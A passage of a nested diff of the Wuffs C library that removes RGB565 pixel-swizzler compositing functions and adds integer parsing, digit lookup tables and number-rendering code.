-- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -- uint32_t db = (0x8421 * old_b5) >> 4; -+ // Use the "%e" format if the exponent is large. -+ int32_t e = h.decimal_point - 1; -+ if ((e < -4) || (e_threshold <= e)) { -+ uint32_t p = wuffs_base__u32__min(precision, h.num_digits); -+ return wuffs_private_impl__high_prec_dec__render_exponent_present( -+ dst, &h, (p > 0) ? (p - 1) : 0, options); -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ // Use the "%f" format otherwise. -+ int32_t p = ((int32_t)precision); -+ if (p > h.decimal_point) { -+ p = ((int32_t)(h.num_digits)); -+ } -+ precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); -+ return wuffs_private_impl__high_prec_dec__render_exponent_absent( -+ dst, &h, precision, options); -+} - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) - -- // Convert from 16-bit color to 565 color and combine the components. -- uint32_t new_r5 = 0x1F & (dr >> 11); -- uint32_t new_g6 = 0x3F & (dg >> 10); -- uint32_t new_b5 = 0x1F & (db >> 11); -- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -- } -+// ---------------- Integer - -- return len; --} -+// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, -+// and (0x80 | v) for valid digits, where v is the 4 bit value. - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -+ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. -+ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. - -- // TODO: unroll. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. - -- // Convert from 565 color to 16-bit color. -- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -- uint32_t dr = (0x8421 * old_r5) >> 4; -- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -- uint32_t dg = (0x1041 * old_g6) >> 2; -- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -- uint32_t db = (0x8421 * old_b5) >> 4; -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+}; - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -+ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. -+ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -+ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. - -- // Convert from 16-bit color to 565 color and combine the components. -- uint32_t new_r5 = 0x1F & (dr >> 11); -- uint32_t new_g6 = 0x3F & (dg >> 10); -- uint32_t new_b5 = 0x1F & (db >> 11); -- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. - -- s += 1 * 8; -- d += 1 * 2; -- n -= 1; -- } -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+}; - -- return len; --} -+static const uint8_t wuffs_private_impl__encode_base16[16] = { -+ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. -+ 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. -+}; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// -------- - -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // -+wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { -+ uint8_t* p = s.ptr; -+ uint8_t* q = s.ptr + s.len; - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ } - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ bool negative = false; -+ if (p >= q) { -+ goto fail_bad_argument; -+ } else if (*p == '-') { -+ p++; -+ negative = true; -+ } else if (*p == '+') { -+ p++; - } - -- return len; --} -+ do { -+ wuffs_base__result_u64 r = wuffs_base__parse_number_u64( -+ wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); -+ if (r.status.repr != NULL) { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = r.status.repr; -+ ret.value = 0; -+ return ret; -+ } else if (negative) { -+ if (r.value < 0x8000000000000000) { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = NULL; -+ ret.value = -(int64_t)(r.value); -+ return ret; -+ } else if (r.value == 0x8000000000000000) { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = NULL; -+ ret.value = INT64_MIN; -+ return ret; -+ } -+ goto fail_out_of_bounds; -+ } else if (r.value > 0x7FFFFFFFFFFFFFFF) { -+ goto fail_out_of_bounds; -+ } else { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = NULL; -+ ret.value = +(int64_t)(r.value); -+ return ret; -+ } -+ } while (0); - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+fail_bad_argument: -+ do { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = wuffs_base__error__bad_argument; -+ ret.value = 0; -+ return ret; -+ } while (0); - -- // TODO: unroll. -+fail_out_of_bounds: -+ do { -+ wuffs_base__result_i64 ret; -+ ret.status.repr = wuffs_base__error__out_of_bounds; -+ ret.value = 0; -+ return ret; -+ } while (0); -+} - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sr = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sb = 0x101 * ((uint32_t)s[0]); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // -+wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { -+ uint8_t* p = s.ptr; -+ uint8_t* q = s.ptr + s.len; - -- // Convert from 565 color to 16-bit color. -- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -- uint32_t dr = (0x8421 * old_r5) >> 4; -- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -- uint32_t dg = (0x1041 * old_g6) >> 2; -- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -- uint32_t db = (0x8421 * old_b5) >> 4; -- -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -- -- // Composite src (premul) over dst (premul). -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -- -- // Convert from 16-bit color to 565 color and combine the components. -- uint32_t new_r5 = 0x1F & (dr >> 11); -- uint32_t new_g6 = 0x3F & (dg >> 10); -- uint32_t new_b5 = 0x1F & (db >> 11); -- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -- -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (; (p < q) && (*p == '_'); p++) { -+ } - } - -- return len; --} -+ if (p >= q) { -+ goto fail_bad_argument; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__rgb(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ } else if (*p == '0') { -+ p++; -+ if (p >= q) { -+ goto ok_zero; -+ } -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ if (*p == '_') { -+ p++; -+ for (; p < q; p++) { -+ if (*p != '_') { -+ if (options & -+ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { -+ goto decimal; -+ } -+ goto fail_bad_argument; -+ } -+ } -+ goto ok_zero; -+ } -+ } - -- // TODO: unroll. -+ if ((*p == 'x') || (*p == 'X')) { -+ p++; -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ } -+ if (p < q) { -+ goto hexadecimal; -+ } - -- while (n >= 1) { -- uint32_t r5 = s[0] >> 3; -- uint32_t g6 = s[1] >> 2; -- uint32_t b5 = s[2] >> 3; -- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); -+ } else if ((*p == 'd') || (*p == 'D')) { -+ p++; -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (; (p < q) && (*p == '_'); p++) { -+ } -+ } -+ if (p < q) { -+ goto decimal; -+ } -+ } - -- s += 1 * 3; -- d += 1 * 2; -- n -= 1; -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { -+ goto decimal; -+ } -+ goto fail_bad_argument; - } - -- return len; --} -+decimal: -+ do { -+ uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; -+ if (v == 0) { -+ goto fail_bad_argument; -+ } -+ v &= 0x0F; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). -+ const uint64_t max10 = 1844674407370955161u; -+ const uint8_t max1 = 5; - -- // TODO: unroll. -+ for (; p < q; p++) { -+ if ((*p == '_') && -+ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ continue; -+ } -+ uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; -+ if (digit == 0) { -+ goto fail_bad_argument; -+ } -+ digit &= 0x0F; -+ if ((v > max10) || ((v == max10) && (digit > max1))) { -+ goto fail_out_of_bounds; -+ } -+ v = (10 * v) + ((uint64_t)(digit)); -+ } - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); -+ wuffs_base__result_u64 ret; -+ ret.status.repr = NULL; -+ ret.value = v; -+ return ret; -+ } while (0); - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -- } -+hexadecimal: -+ do { -+ uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; -+ if (v == 0) { -+ goto fail_bad_argument; -+ } -+ v &= 0x0F; - -- return len; --} -+ for (; p < q; p++) { -+ if ((*p == '_') && -+ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ continue; -+ } -+ uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; -+ if (digit == 0) { -+ goto fail_bad_argument; -+ } -+ digit &= 0x0F; -+ if ((v >> 60) != 0) { -+ goto fail_out_of_bounds; -+ } -+ v = (v << 4) | ((uint64_t)(digit)); -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ wuffs_base__result_u64 ret; -+ ret.status.repr = NULL; -+ ret.value = v; -+ return ret; -+ } while (0); - -- // TODO: unroll. -+ok_zero: -+ do { -+ wuffs_base__result_u64 ret; -+ ret.status.repr = NULL; -+ ret.value = 0; -+ return ret; -+ } while (0); - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sb = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sr = 0x101 * ((uint32_t)s[0]); -+fail_bad_argument: -+ do { -+ wuffs_base__result_u64 ret; -+ ret.status.repr = wuffs_base__error__bad_argument; -+ ret.value = 0; -+ return ret; -+ } while (0); - -- // Convert from 565 color to 16-bit color. -- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -- uint32_t dr = (0x8421 * old_r5) >> 4; -- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -- uint32_t dg = (0x1041 * old_g6) >> 2; -- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -- uint32_t db = (0x8421 * old_b5) >> 4; -+fail_out_of_bounds: -+ do { -+ wuffs_base__result_u64 ret; -+ ret.status.repr = wuffs_base__error__out_of_bounds; -+ ret.value = 0; -+ return ret; -+ } while (0); -+} - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+// -------- - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+// wuffs_base__render_number__first_hundred contains the decimal encodings of -+// the first one hundred numbers [0 ..= 99]. -+static const uint8_t wuffs_base__render_number__first_hundred[200] = { -+ '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // -+ '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // -+ '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // -+ '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // -+ '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // -+ '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // -+ '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // -+ '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // -+ '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // -+ '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // -+ '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // -+ '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // -+ '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // -+ '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // -+ '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // -+ '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // -+ '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // -+ '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // -+ '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // -+ '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // -+}; - -- // Convert from 16-bit color to 565 color and combine the components. -- uint32_t new_r5 = 0x1F & (dr >> 11); -- uint32_t new_g6 = 0x3F & (dg >> 10); -- uint32_t new_b5 = 0x1F & (db >> 11); -- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+static size_t // -+wuffs_private_impl__render_number_u64(wuffs_base__slice_u8 dst, -+ uint64_t x, -+ uint32_t options, -+ bool neg) { -+ uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; -+ uint8_t* ptr = &buf[0] + sizeof(buf); - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ while (x >= 100) { -+ size_t index = ((size_t)((x % 100) * 2)); -+ x /= 100; -+ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; -+ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; -+ ptr -= 2; -+ ptr[0] = s0; -+ ptr[1] = s1; - } - -- return len; --} -- --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ if (x < 10) { -+ ptr -= 1; -+ ptr[0] = (uint8_t)('0' + x); -+ } else { -+ size_t index = ((size_t)(x * 2)); -+ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; -+ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; -+ ptr -= 2; -+ ptr[0] = s0; -+ ptr[1] = s1; -+ } - -- // TODO: unroll. -+ if (neg) { -+ ptr -= 1; -+ ptr[0] = '-'; -+ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -+ ptr -= 1; -+ ptr[0] = '+'; -+ } - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); -+ size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); -+ if (n > dst.len) { -+ return 0; -+ } -+ memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -+ ? (dst.len - n) -+ : 0), -+ ptr, n); -+ return n; -+} - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, -+ int64_t x, -+ uint32_t options) { -+ uint64_t u = (uint64_t)x; -+ bool neg = x < 0; -+ if (neg) { -+ u = 1 + ~u; - } -+ return wuffs_private_impl__render_number_u64(dst, u, options, neg); -+} - -- return len; -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, -+ uint64_t x, -+ uint32_t options) { -+ return wuffs_private_impl__render_number_u64(dst, x, options, false); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// ---------------- 